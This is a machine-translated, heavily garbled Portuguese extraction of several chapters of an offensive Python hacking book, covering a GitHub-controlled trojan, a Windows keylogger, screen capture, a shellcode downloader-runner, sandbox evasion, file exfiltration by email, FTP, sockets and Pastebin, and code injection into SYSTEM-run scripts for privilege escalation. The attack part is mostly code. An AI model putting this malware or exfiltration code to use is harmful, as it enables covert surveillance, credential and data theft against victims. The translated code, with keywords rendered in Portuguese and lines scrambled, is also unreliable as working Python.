files = os.listdir(".")
retornar str(arquivos)
importação de
def run(**args):
print("[*] In environment
module.") retornar os.environ
$ git add .
$m "Adiciona novos módulos".
$ git push origem mestre
120 Capítulo 7
Nome de usuário:
******** Senha: ********
Configurando o Trojan
Vamos querer encarregar nosso troiano de realizar certas ações. Isto
significa que precisamos de uma maneira de dizer que ações executar e
que módulos são
responsáveis pela sua realização. A utilização de um arquivo de configuração nos
dá esse nível de controle. Ele também nos permite efetivamente colocar um
trojan para dormir (não lhe dando nenhuma tarefa), se assim o
desejarmos. Para que este sistema funcione, cada trojan que você
implanta deve ter uma identificação única. Dessa forma, você será capaz de
classificar quaisquer dados recuperados com base nessas identificações e
controlar quais trojans executam determinadas tarefas.
Configuraremos o trojan para procurar no diretório de configuração para
TROJANID
.json, que devolverá um simples documento JSON que podemos analisar,
converter para um dicionário Python e depois usar para informar a nosso
trojan quais tarefas executar. O formato JSON facilita também a mudança
das opções de configuração. Entre em seu diretório de configuração e crie
um arquivo chamado abc
.json com o seguinte conteúdo:
[
{
"módulo" : "dirlister"
},
{
"módulo" : "ambiente".
}
]
Esta é apenas uma simples lista de módulos que o trojan remoto deve rodar.
Mais tarde, você verá como lemos este documento do JSON e depois
iteramos sobre cada opção para carregar esses módulos.
Ao fazer um brainstorming das idéias do módulo, você poderá descobrir que
é útil incluir opções adicionais de configuração, tais como a duração da
execução, o número de vezes para executar o módulo, ou argumentos a
serem passados para o módulo. Você também pode adicionar vários
métodos de exfiltração de dados, como mostramos no Capítulo 9.
Entre em uma linha de comando e emita os seguintes comandos a
122 Capítulo 7
partir de seu diretório repo principal:
$ git add .
$ git commit -m "Adiciona configuração simples".
mestre de origem de $ git push
Agora que você tem seus arquivos de configuração e alguns módulos simples
para executar, vamos começar a construir o trojan principal.
base64
importação
github3
importação
importação
github3
importação
json
importação
aleatória
importação
sistema de
importação
importação de
filamentos
tempo de
importação
1 def github_connect():
com open('mytoken.txt') como f:
token = f.read()
usuário = 'tiarno
sess = github3.login(token=token)
retornar sess.repository(usuário, 'bhptrojan')
1 def get_config(self):
config_json = get_file_contents(
config', self.config_file, self.repo
)
config = json.loads(base64.b64decode(config_json))
126 Capítulo 7
remote_path, mensagem, base64.b64encode(bindata)
)
5 def run(self):
enquanto Verdadeiro:
config = self.get_config()
para tarefa em config:
thread = threading.thread(
target=self.module_runner,
6 time.sleep(random.randint(30*60, 3*60*60))
Toda vez que o intérprete tentar carregar um módulo que não esteja
disponível, ele usará esta classe GitImporter. Primeiro, o método
find_module tenta localizar o módulo. Nós passamos esta chamada para
nosso carregador de arquivos remoto. Se pudermos localizar o arquivo em
nosso repo, nós decodificamos o código com base64 e o armazenamos em
nosso
classe 1. (GitHub nos dará dados codificados na base64.) Ao retornarmos
a nós mesmos, indicamos ao intérprete Python que encontramos o módulo e
que ele pode
chamar o método load_module para carregá-lo de fato. Usamos o módulo
importlib nativo para primeiro criar um novo objeto 2 do módulo em
branco e depois empurrar o código que recuperamos do GitHub para dentro
dele. O último passo é inserir o módulo recém-criado na lista 3 do
sys.modules para que ele seja capturado por quaisquer chamadas futuras
de importação.
Agora vamos dar os retoques finais no trojan:
Chutando os Pneus
Muito bem! Vamos testar esta coisa executando-a da linha de comando:
$ python git_trojan.py
[*] Tentativa de recuperação de
dirlister [*] Tentativa de recuperação
de ambiente [*] No módulo dirlister
[*] No módulo ambiente.
132 Capítulo 7
GitHub Comando e Controle 133
8
COM MON T RO JA N ING TA S
KS ON W IN DOW S
importação de
pythoncom de importação
importação pyWinhook
como sistema de
importação pyHook
tempo de importação
importação win32clipboard
TIMEOUT = 60*10
classe KeyLogger:
def init (self):
self.current_window =
Nenhum
128 Capítulo 8
def get_current_process(self):
1 hwnd =
windll.user32.GetForegroundWindow()
pid = c_ulong(0)
2 windll.user32.GetWindowThreadProcessId(hwnd,
byref(pid)) process_id = f'{pid.value}'
executável = create_string_buffer(512)
3 h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
4 windll.psapi.GetModuleBaseNameA(
h_process, None, byref(executável), 512)
6 print('\n', process_id,
executável.valor.decodificar(), auto.janela_actual)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def run():
save_stdout = sys.stdout
130 Capítulo 8
sys.stdout = StringIO()
kl = KeyLogger()
4 hm = pyHook.HookManager()
5 hm.KeyDown = kl.mykeystroke
6 hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
Chutando os Pneus
É fácil testar nosso keylogger. Basta executá-lo e depois começar a usar o
Windows normalmente. Tente usar seu navegador, calculadora ou
qualquer outra aplicação e depois veja os resultados em seu terminal:
C:\Users\tim>python keylogger.py
132 Capítulo 8
teste
Retor
no
Você pode ver que digitamos a palavra teste na janela principal onde o
script do keylogger funcionava. Em seguida, acionamos o Firefox, navegamos
para nostarch.com, e executamos algumas outras aplicações. Agora
podemos dizer com segurança que adicionamos nosso keylogger ao nosso
saco de truques de trojaning! Vamos passar a tirar screenshots.
Tirando screenshots
A maioria das peças de malware e estruturas de teste de penetração incluem o
capa- bilidade para tirar screenshots no alvo remoto. Isto pode ajudar a
capturar imagens, quadros de vídeo ou outros dados sensíveis que você pode
não ver com uma captura de pacotes ou keylogger. Felizmente, podemos usar o
pacote pywin32 para fazer chamadas nativas para a API do Windows para
agarrá-los. Instale o pacote com pip:
importação
base64
importação
win32api
importação
win32con
importação
win32gui
importação
win32gui
importação
win32ui
1 def get_dimensions():
largura = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
altura =
win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREE
134 Capítulo 8
N) esquerda =
win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN
) topo =
win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN
) retorno (largura, altura, esquerda, topo)
def screenshot(name='screenshot'):
2 hdesktop =
win32gui.GetDesktopWindow() largura,
altura, esquerda, topo = get_dimensions()
3 desktop_dc =
win32gui.GetWindowDC(hdesktop) img_dc =
win32ui.CreateDCFromHandle(desktop_dc)
4 mem_dc = img_dc.CreateCompatibleDC()
5 screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width,
height) mem_dc.SelectObject(screenshot)
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
❽ def run():
captura de tela()
com open('screenshot.bmp')
como f: img = f.read()
retornar img
Vamos rever o que este pequeno roteiro faz. Adquirimos uma alça
para toda a área de trabalho 2, que inclui toda a área visualizável em
vários monitores. Determinamos então o tamanho da tela (ou telas) 1
para que saibamos as dimensões necessárias para a captura da tela.
Criamos um dispositivo
usando a função GetWindowDC 3 e passar em uma alça para a área de
trabalho. (Saiba mais sobre os contextos de dispositivos e programação
GDI no
Microsoft Developer Network [MSDN] em msdn.microsoft.com.) Em seguida,
criar um dispositivo baseado em memória contexto 4, onde
armazenaremos nossa captura de imagem até escrevermos os bytes de
bitmap em um arquivo. Em seguida, criamos um objeto bitmap 5 que é
definido para o contexto do dispositivo de nossa área de trabalho. A
chamada SelectObject então define o
contexto de dispositivo baseado em memória para apontar para o objeto
bitmap que estamos turing cap- turing. Usamos a função BitBlt 6 para pegar
uma cópia bit a bit da imagem da área de trabalho e armazená-la no contexto
baseado na memória. Pense nisto como uma chamada de memória para
objetos GDI. O passo final é despejar esta imagem no disco 7.
Este script é fácil de testar: basta executá-lo a partir da linha de comando e
verificar
o diretório para seu arquivo screenshot.bmp. Você também pode incluir
este script em seu repo de comando e controle GitHub, já que a função run
❽ chama a função de captura de tela para criar a imagem e depois lê e
retorna o
dados do arquivo.
Vamos passar à execução do código shell.
da base de pedido de
importação urllib de
importação64
tipos de importação
kernel32 =
ctypes.windll.kernel32 def
get_code(url):
1 com request.urlopen(url) como resposta:
shellcode = base64.decodebytes(response.read())
código de retorno shellcode
2 def
write_memory(b
uf): comprimento
= len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p
3 kernel32.RtlMoveMemory.argtyp
es = ( ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t)
def run(shellcode):
5 buffer = ctypes.create_string_buffer(shellcode)
ptr = write_memory(buffer)
138 Capítulo 8
Quão incrível é isso? Iniciamos nosso bloco principal chamando a
função get_code para recuperar o shellcode codificado base64 de nosso
servidor web 1. Então chamamos a função run para escrever o código da
shell na memória e ex...
fofo.
Na função de execução, alocamos um buffer 5 para segurar o
código de shell depois de decodificá-lo. A seguir, chamamos a função
write_memory para gravar o buffer na memória 2.
Chutando os Pneus
Você pode codificar manualmente algum código de concha ou usar sua
estrutura de pentestesting favorita como CANVAS ou Metasploit para gerá-
lo para você. Como CANVAS é uma ferramenta com- mercial, dê uma olhada
neste tutorial para gerar cargas úteis Metasploit: http://www.offensive-
security.com/metasploit-unleashed/Generating_Payloads/. Escolhemos alguns
shellcode Windows x86 com o gerador de carga útil Metasploit (msfvenom
em nosso caso). Crie o shellcode cru em /tmp/shellcode.raw em sua máquina
Linux como a seguir:
140 Capítulo 8
192.168.112.130 - - [12/jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 -
[12/jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1
Isto indica que seu script recuperou o código da shell do servidor web
que você configurou usando o módulo http.server. Se tudo correr bem,
você receberá um shell de volta ao seu framework e terá popped calc.exe,
obtido um shell TCP reverso, exibido uma caixa de mensagem, ou para o
que quer que seu código shell tenha sido compilado.
classe LASTINPUTINFO(Estrutura):
campos_ = [
('cbSize', c_uint),
('dwTime',
c_ulong)
]
def get_last_input():
structure_lastinputinfo = LASTINPUTINFO()
142 Capítulo 8
1 struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
windll.user32.GetLastInputInfo(byref(struct_lastinputinfo
))
2 run_time = windll.kernel32.GetTickCount()
decorrido = run_time -
structure_lastinputinfo.dwTime
print(f"[*] Tem sido {elapsed} milissegundos desde o último evento")
retorno decorrido
3 enquanto Verdadeiro:
get_last_input()
tempo.de sono(1)
Detector de classe:
def init (self): self.double_clicks =
0
toques de tecla = 0
self.mouse_clicks = 0
144 Capítulo 8
def get_key_press(self):
1 para i na faixa (0, 0xff):
2 state =
win32api.GetAsyncKeyState(i) if
state & 0x0001:
3 se i === 0x1:
self.mouse_clicks += 1
tempo.tempo.de retorno()
4 elif i > 32 e i < 127:
toques de tecla += 1
retornar Nenhum
def detect(self):
previous_timestamp = None
first_double_click = None
double_click_threshold =
0.35
1 max_double_clicks = 10
max_keystrokes = random.randint(10,25)
max_mouse_clicks = random.randint(5,25)
max_input_threshold = 30000
2 last_input = get_last_input()
if last_input >= max_input_threshold:
sys.exit(0)
detection_complete = Falso
enquanto não
detectado_completo:
3 keypress_time = self.get_key_press()
se o keypress_time não for Nenhum e o timestamp_prévio não for
Nenhum:
4 decorrido = keypress_time - tempo_principal_principal
5 se decorrido <=
double_click_threshold:
self.mouse_clicks -= 2
self.double_clicks += 1
se first_double_click for None:
first_double_click = time.time()
146 Capítulo 8
senão:
6 if self.double_clicks >= max_double_clicks:
7 if (keypress_time - first_double_click <=
(max_double_clicks*double_click_threshol
d)): sys.exit(0)
❽ if (self.keystrokes >= max_keystrokes e
self.double_clicks >= max_double_clicks e
self.mouse_clicks >= max_mouse_clicks):
detection_complete = True
previous_timestamp =
keypress_time elif keypress_time não é
None:
previous_timestamp = keypress_time
148 Capítulo 8
9
F U N W I T O X F ILT R AT ION
base de
importação64
zlib importação
def gera():
new_key = RSA.generate(2048)
private_key =
new_key.exportKey()
public_key = new_key.publickey().exportKey()
def get_rsa_cipher(keytype):
com open(f'key.{keytype}') como
f: key = f.read()
rsakey = RSA.importKey(chave)
return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())
2 session_key = get_random_bytes(16)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
3 ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
cipher_rsa, _ = get_rsa_cipher('pub')
4 encriptted_session_key = cipher_rsa.encrypt(session_key)
142 Capítulo
142
6 encriptado =
base64.encodebytes(msg_payload)
retorno(encriptado)
2 encrypted_session_key =
encrypted_bytes.read(keysize_in_bytes) nonce =
encrypted_bytes.read(16)
tag = encriptted_bytes.read(16)
ciphertext =
encrypted_bytes.read()
3 session_key =
cipher_rsa.decrypt(encriptted_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX,
nonce)
4 decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
5 plaintext =
zlib.decompress(decifrado) retorno
plaintext
144 Capítulo
144
plaintext = b'hey there you'.
1 print(decrypt(encrypt(encriptar(plaintext)))
Exfiltração de e-mail
Agora que podemos facilmente criptografar e decodificar informações,
escrevemos ods de meth- ods para ex-filtrar as informações que
criptografamos. Abra o e-mail_exfil.py, que usaremos para enviar as
informações criptografadas via e-mail:
1 tempo de
importação
de smtplib de
importação
3 smtp_server =
'smtp.example.com'
smtp_port = 587
smtp_acct =
'tim@example.com'
smtp_password = 'seKret'
tgt_accts =
['tim@elsewhere.com']
#server.set_debuglevel(1)
3 server.sendmail(smtp_acct, tgt_accts,
message) time.sleep(1)
server.quit()
146 Capítulo
146
depuração para que possa ver a conexão em seu console.
Agora vamos escrever uma função específica para Windows para
realizar a mesma técnica:
importação
ftplib
importação os
soquetes de
importação
arquivo win32 de importação
1 def plain_ftp(docpath,
server='192.168.1.203'): ftp =
ftplib.FTP(server)
2 ftp.login("anônimo", "anon@example.com")
3 ftp.cwd('/pub/')
4 ftp.storbinary("STOR " + os.path.basename(docpath),
aberto(docpath, "rb"), 1024)
ftp.quit()
148 Capítulo
148
nós passamos no caminho para um arquivo que queremos transferir
(docpath) e o endereço IP do
Servidor FTP (a máquina Kali), atribuído à variável 1 do servidor.
O uso do ftplib Python facilita a criação de uma conexão com o servidor, o
log in 2 e a navegação até o diretório de destino 3. Finalmente, nós
escrevemos o arquivo no diretório de destino 4.
def transmit(document_path):
cliente = socket.socket()
1 client.connect(('192.168.1.207', 10000))
com open(document_path, 'rb') como f:
2 win32file.TransmitFile(
cliente,
win32file._get_osfhandle(f.fileno()),
0, 0, None, 0, 0, b'', b'')
1 de win32com import
client import os
importação
aleatória
2 pedidos de
150 Capítulo
150
importação
tempo de
importação
3 username = 'tim'
password =
'seKret
api_dev_key = 'cd3xxx001xxxxxx02'.
4 paste_url =
'https://pastebin.com/api/api_post.php'
paste_data = {
api_paste_name': título,
'api_paste_code': conteúdo.decode(),
'api_dev_key': api_dev_key,
'api_user_key': api_user_key,
'api_option': 'paste',
'api_paste_private': 0,
}
5 r = requests.post(paste_url,
data=paste_data) print(r.status_code)
imprimir(r.text)
1 def wait_for_browser(browser):
enquanto browser.ReadyState != 4 e browser.ReadyState != 'completo':
tempo.de sono(0.1)
2 def random_sleep():
tempo.sono(random.rand.randint(5,10))
def login(ie):
1 full_doc =
ie.Document.all for elem
in full_doc:
2 if elem.id == 'loginform-username':
elem.setAttribute('valor', nome de
usuário)
elif elem.id == 'loginform-password':
elem.setAttribute('valor', senha)
sono_randômico()
if ie.Document.forms[0].id ==
'w0':
ie.document.forms[0].submit(
)
wait_for_browser(ie)
154 Capítulo
154
A função de login começa com a recuperação de todos os
elementos do DOM 1. Ela procura os campos de nome de usuário e
senha 2 e os define para a cre-
dentials que fornecemos (não se esqueça de se inscrever para uma conta).
Depois deste código
executa, você deve estar logado no painel do Pastebin e pronto para colar
algumas informações. Vamos adicionar esse código agora:
if ie.Document.forms[0].id == 'w0':
ie.document.forms[0].submit()
random_sleep()
wait_for_browser(ie)
Nada deste código deve parecer muito novo neste momento. Estamos
simplesmente caçando através do DOM para encontrar onde postar o título
e o corpo da postagem no blog. A função submeter recebe uma instância do
navegador, assim como o nome do arquivo e o conteúdo do arquivo
criptografado para postar.
Agora que podemos fazer login e postar no Pastebin, vamos dar os
retoques finais para nosso roteiro:
def ie_paste(título, conteúdo):
1 ie = client.Dispatch('InternetExplorer.Application')
2 ie.Visível = 1
ie.Navigate('https://pastebin.com/login')
wait_for_browser(ie)
login(ie)
ie.Navigate('https://pastebin.com/'
) wait_for_browser(ie)
submit(ie, title, content.decode())
3 ie.Quit()
156 Capítulo
156
Colocando tudo junto
Finalmente, associamos nossos métodos de exfiltração com exfil.py, que
podemos chamar para exfiltrar arquivos usando qualquer um dos métodos
que acabamos de escrever:
importação de
2 EXFIL = {
Perspectivas": Perspectivas,
plain_email': plain_email,
'plain_ftp': plain_ftp,
'transmitir': transmitir,
'ie_paste': ie_paste,
'plain_paste': plain_paste,
}
158 Capítulo
158
3 EXFIL[method](filena
me)
os.unlink(filename)
senão:
4 com open(document_path, 'rb')
como f: content = f.read()
title = os.path.basename(document_path)
contents = encrypt(contents)
5 EXFIL[método](título, conteúdo)
Chutando os Pneus
Há muitas peças móveis neste código, mas a ferramenta é bastante fácil de
usar. Basta executar seu script exfil.py de um host e esperar que ele indique
que ele tenha exfiltrado arquivos com sucesso via e-mail, FTP ou Pastebin.
Se você deixou o Internet Explorer visível enquanto executava o
paste_exfile.ie
_colar, você deveria ter sido capaz de assistir a todo o processo. Depois de
concluído, você deve ser capaz de navegar até sua página do Pastebin e ver
algo como a Figura 9-1.
Instalando os Pré-requisitos
Precisamos instalar algumas bibliotecas para escrever as ferramentas
neste capítulo. Execute o seguinte em um shell cmd.exe no Windows:
importação de
shutil import
servicemanager import
shutil
sistema de importação
de subprocessos de
importação
importação win32event
154 Capítulo 10
importação
win32serviceutil
importação
win32serviceutil
classe BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "BlackHatService"
_svc_display_name_ = "Black Hat Service" (Serviço de Chapéu Preto)
_svc_description_ = ("Executa VBScripts em intervalos regulares"). +
" O que poderia dar errado?")
2 def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
3 def SvcDoRun(self):
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
self.main()
No essencial, criamos um loop 1 que funciona a cada minuto, por causa do self
.timeout, até que o serviço receba o sinal de parada 2. Enquanto estiver
em execução, copiamos o arquivo de script para o diretório de destino,
executamos o script, e removemos o arquivo 3.
No bloco principal, nós lidamos com qualquer argumento de linha de
comando:
156 Capítulo 10
se nome == ' principal ':
se len(sys.argv) ==
1:
Você pode às vezes querer criar um serviço real em uma máquina vítima.
Esta estrutura do esqueleto lhe dá as linhas gerais de como estruturá-la.
Você pode encontrar o script bhservice_tasks.vbs em https://nostarch.com/black-
hat
-python2E/. Coloque o arquivo em um diretório com bhservice.py e mude
SRCDIR para apontar para este diretório. Seu diretório deve se parecer com
este:
158 Capítulo 10
Ao consultar um dia, seu colega de trabalho Mark Wuergler sugeriu que
eles usassem a El Jefe ofensivamente: com ela, eles poderiam monitorar os
processos executados como SISTEMA nas máquinas alvo do Windows. Isto
proporcionaria uma visão do manuseio potencialmente inseguro de
arquivos ou da criação de processos infantis. Funcionou, e eles se afastaram
com inúmeros bugs de escalada de privilégios, dando-lhes as chaves do
reino.
O maior inconveniente do El Jefe original era que ele usava uma DLL,
injetada em cada processo, para interceptar chamadas para a função nativa
CreateProcess. Em seguida, usou um tubo nomeado para se comunicar com o
cliente de coleta, que encaminhou os detalhes da criação do processo para o
servidor de registro. Infelizmente, a maior parte dos softwares antivírus
também engancham as chamadas CreateProcess, de modo que ou eles o vêem
como malware ou você tem problemas de instabilidade do sistema ao
executar o El Jefe lado a lado com o software antivírus.
Vamos recriar algumas das capacidades de monitoramento da El Jefe
de forma descuidada, orientando-a para técnicas ofensivas. Isto deve tornar
nosso mon- itoring portátil e nos dar a capacidade de executá-lo ao lado de
software antivírus sem problemas.
importação os
importação sys
importação
win32api
Escalada de Privilégios de Janelas 159
importação
win32con
importação
win32security import
wmi
160 Capítulo 10
def log_to_file(mensagem):
com open('process_monitor_log.csv', 'a') como fd:
fd.write(f'message}\r\n')
def monitor():
head = 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges'
log_to_file(head)
1 c = wmi.WMI()
2 process_watcher = c.Win32_Process.watch_for('criação')
while True:
tente:
3 new_process = process_watcher() cmdline =
new_process.CommandLine create_date =
new_process.CreationDate
executável = new_process.executablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
4 proc_owner = new_process.GetOwner()
privilégios = 'N/A'
process_log_message = (
f'{cmdline} , {criar_data} {pídea_parente} , {pídea} ,
{proc_proprietário},' f'{parente_pídea} ,
{proc_proprietário} {privilege}''.
)
print(process_log_message)
print()
log_to_file(process_log_message)
exceto Exceção:
passe
Chutando os Pneus
Vamos acender o roteiro de monitoramento de processos e criar alguns
processos para ver como é a saída:
162 Capítulo 10
10312 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
N/A
notepad ,
20200624083340.325593-240 ,
C:\system32\system32\snotepad.exe,
13184 ,
12788 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
N/A
164 Capítulo 10
Tabela 10-1: Privilégios interessantes
def get_process_privileges(pid):
tente:
hproc = win32api.OpenProcess( 1
win32con.PROCESS_QUERY_INFORMATION, Falso, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 2
privs = win32security.GetTokenInformation( 3
htok,win32security.TokenPrivileges
)
privilégios = '''
para priv_id, bandeiras em priv_id:
if flags == (win32security.SE_PRIVILEGE_ENABLED | 4
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
privilégios += f'{win32security.LookupPrivilegeName(None, priv_id)}|' 5
exceto Exceção:
privilégios = 'N/A'.
privilégios de
retorno
Utilizamos a identificação do processo para obter uma alça para o
processo alvo 1. A seguir,
abrimos o token de processo 2 e solicitamos as informações token para
esse processo 3 enviando a estrutura win32security.TokenPrivileges. A
chamada de função retorna uma lista de tuplos, onde o primeiro
membro do tuple
é o privilégio e o segundo membro descreve se o privilégio está habilitado ou
não. Como estamos preocupados apenas com os habilitados, primeiro
verificamos se os bits 4 habilitados e depois procuramos os legíveis
para humanos.
nome para esse privilégio 5.
Escalada de Privilégios de Janelas 165
Em seguida, modifique o código existente para produzir corretamente e
registrar esta informação...
ção. Alterar a linha de código
privilégios = "N/A".
166 Capítulo 10
para o seguinte:
privilégios = get_process_privileges(pid)
C:\i>python.exe process_monitor.py
"Calculator.exe",
20200624084445.120519-240 ,
C:\Arquivos de programa
WindowsApps\Microsoft.WindowsCalculator\Calculator.exe, 1204 ,
13116 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|
notepad ,
20200624084436.727998-240 ,
C:\system32\system32\snotepad.exe,
10720 ,
2732 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeCreateGl
obalPrivilege
Vencer a Corrida
Os scripts Batch, VBScript e PowerShell facilitam a vida dos administradores
de sistemas ao automatizar tarefas monótonas. Eles podem se registrar
continuamente em um serviço central de inventário, por exemplo, ou
forçar atualizações de software de seus próprios repositórios. Um
problema comum é a falta de controles de acesso adequados a esses
arquivos de scripting. Em vários casos, em servidores seguros, encontramos
scripts em lote ou PowerShell que são executados uma vez por dia pelo
usuário do SISTEMA enquanto podem ser gravados globalmente por
qualquer usuário.
Se você executar seu monitor de processo por tempo suficiente em uma
empresa (ou simplesmente instalar o serviço de amostra fornecido no início
deste capítulo), você poderá ver registros de processo que se parecem com
isto:
168 Capítulo 10
Você pode ver que um processo SYSTEM gerou o binário wscript.exe e
passou no parâmetro C:\WINDOWS\TEMP\bhservice_task.vbs. O exemplo de
bhservice que você criou no início do capítulo deve gerar estes eventos uma
vez por minuto.
Mas se você listar o conteúdo do diretório, você não verá este arquivo
pres- ent. Isto porque o serviço cria um arquivo contendo o VBScript e depois
executa e remove esse VBScript. Já vimos esta ação ser executada por
software comercial em vários casos; muitas vezes, o software cria arquivos
em um local temporário, escreve comandos nos arquivos, executa os arquivos
do programa resultante e depois apaga esses arquivos.
A fim de explorar esta condição, temos que ganhar efetivamente uma
corrida contra o código de execução. Quando o software ou tarefa
programada cria o arquivo, precisamos ser capazes de injetar nosso
próprio código no arquivo antes que o processo o execute e delete. O
truque para isso está no prático ReadDirectoryChangesW da API do Windows,
que nos permite monitorar um diretório para quaisquer alterações em
arquivos ou subdiretórios. Também podemos filtrar estes eventos para
que possamos determinar quando o arquivo foi salvo. Dessa forma,
podemos rapidamente injetar nosso código nele antes de ser executado.
Você pode achar que ele é incrementavelmente útil para simplesmente
ficar de olho em todos os diretórios temporários por um período de 24
horas ou mais; às vezes, você encontrará bugs interessantes ou
divulgações de informações além de potenciais escalações de privilégios.
Vamos começar criando um monitor de arquivos. Em seguida, vamos
construir sobre ele um código de injeção automática. Salvar um novo arquivo
chamado file_monitor.py e martelar o seguinte:
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
FILE_LIST_DIRECTORY = 0x0001
1 PATHS = ['c:WINDOWS]Temp', tempfile.gettempdir()
def monitor(path_to_watch):
2 h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
170 Capítulo 10
Nenhum
)
enquanto
Verdad
eiro:
tente:
3 resultados =
win32file.ReadDirectoryChangesW(
h_directory,
1024,
Verdadeiro,
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SIZE
Nenhu
m,
nenhum
)
4 para ação, file_name em resultados:
full_filename = os.path.join(path_to_watch, file_name)
se ação == FILE_CREATED:
print(f'[+] Created
{ f u l l _ f i l e n a m e } ') elif action ==
FILE_DELETED:
print(f'[-] Deleted
{ f u l l _ f i l e n a m e } ') elif action ==
FILE_MODIFIED:
print(f'[*] Modified
{ f u l l _ f i l e n a m e } ') try:
print('[vvv] Dumping contents ... ')
5 com open(full_filename)
como f: content = f.read()
imprimir(conteúdo)
print('[^^^] Dump complete.')
exceto Exceção como e:
print(f'[!!!] Dump failed. { e } ')
172 Capítulo 10
função 3, que nos notifica quando ocorre uma mudança. Recebemos o
arquivo - nome do arquivo alvo alterado e o tipo de evento que
aconteceu 4. A partir daqui, imprimimos informações úteis sobre o que
aconteceu com o arquivo alvo alterado
determinado arquivo, e se detectarmos que foi modificado, descarregaremos
o conteúdo do arquivo para referência 5.
Chutando os Pneus
Abra um shell cmd.exe e execute file_monitor.py:
C:\i>python.exe file_monitor.py
Injeção de código
Agora que podemos monitorar processos e localizações de arquivos,
injetaremos automaticamente o código nos arquivos de destino. Vamos criar
trechos de código muito simples que geram uma versão compilada da
ferramenta netcat.py com o nível de privilégio do serviço origi- nating. Há
uma vasta gama de coisas desagradáveis que você pode fazer com estes
arquivos VBScript, batch e PowerShell. Vamos criar a estrutura geral, e você
pode correr louco a partir daí. Modifique o script file_monitor.py e adicione o
seguinte código após as constantes de modificação do arquivo:
174 Capítulo 10
O código que estamos prestes a injetar utilizará estas constantes: TGT_IP
é o endereço IP da vítima (a caixa do Windows em que estamos injetando o
código) e TGT_PORT é a porta à qual nos conectaremos. A variável NETCAT dá a
localização do substituto Netcat que codificamos no Capítulo 2. Se você não
criou um executável a partir desse código, você pode fazer isso agora:
1 FILE_TYPES = {
...morcego": ["bhpmarker bhpmarker bhpmarker bhpmarker bhpmarker
b h p m a r k e r bhpmarker bhpmarker bhpmarker bhpmarker bhpmarker
bhpmarker bhpmarker bhp
".ps1": [".ps1", ".vbs", ".rpm": [bhpmarkerr,
f'rr'nCreateObject("Wscript.Shell").Run("CMD")),
}
3 full_contents = FILE_TYPES[extensão][0]
full_contents += FILE_TYPES[extensão][1]
full_contents += contents
com open(full_filename, 'w') como f:
f.write(full_contents)
print('\o/ Código injetado')
--snip--
elif action === FILE_MODIFIED:
1 extensão = os.path.splitext(full_filename)[1]
176 Capítulo 10
tente:
com open(full_filename) como f:
content = f.read()
# NOVO CÓDIGO
inject_code(full_filename, contents, extension)
print(contents)
print('[^^^] Dump complete.')
exceto Exceção como e:
print(f'[!!!] Dump failed. { e } ')
--snip--
Chutando os Pneus
Se você instalou o bhservice no início deste capítulo, você pode testar
facilmente seu novo e sofisticado injetor de código. Certifique-se de que o
serviço está funcionando e depois execute seu file_monitor.py script.
Eventualmente, você deve ver a saída indicando que um arquivo .vbs foi
criado e modificado e que o código foi injetado. No exemplo a seguir,
comentamos a impressão do conteúdo para economizar espaço:
[Modificado c:WindowsTemp.bhservice_task.vbs
[vvv] Conteúdo de despejo ...
\o/ Código injetado
[^^^] Dump completo.
Se você abrir uma nova janela cmd, você deve ver que a porta alvo está
aberta:
178 Capítulo 10
Escalada de Privilégios de Janelas 179
11
O DE F E NSI V E FO R E NSI CS
Instalação
A volatilidade já existe há vários anos e acaba de ser reescrita em forma de
com-preenchimento. Não apenas a base de código agora é fundada em
Python 3, mas toda a estrutura foi refatorada para que os componentes
sejam indepen- dentes; todo o estado necessário para executar um plug-in é
auto-contido.
Vamos criar um ambiente virtual apenas para nosso trabalho com
Volatilidade. Para este exemplo, estamos usando o Python 3 em uma
máquina Windows em um terminal PowerShell. Se você também estiver
trabalhando a partir de uma máquina Windows, certifique-se de ter o git
instalado. Você pode baixá-lo em https://git-scm.com/downloads/.
170 Capítulo 11
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.
PS> cd volatilidade/estrutura/plugin/janelas/
PS> ls
_init.py driverscan.py memmap.py .pyvadinfo.py
bigpools.py filescan.py modscan.pypstree .py
